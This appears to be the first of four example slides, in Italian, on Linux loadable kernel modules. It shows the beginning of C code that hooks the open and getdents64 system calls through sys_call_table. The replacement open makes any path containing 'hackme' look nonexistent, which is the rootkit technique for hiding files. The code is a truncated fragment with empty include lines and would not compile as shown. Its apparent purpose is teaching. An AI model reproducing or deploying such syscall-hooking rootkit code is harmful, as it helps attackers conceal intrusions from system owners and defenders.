LKM Esempio 1/4 #include #include #include #include extern void *sys_call_table[]; struct linux_dirent64 { u64 d_ino; s64 d_off; unsigned short d_reclen; unsigned char d_type; char d_name[0]; }; int (*o_open)(char *path, int flags, int mode); long (*o_getdents64)(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count); int n_open(char *path, int flags, int mode) { if(strstr(path, "hackme")) return -ENOENT; return o_open(path, flags, mode); }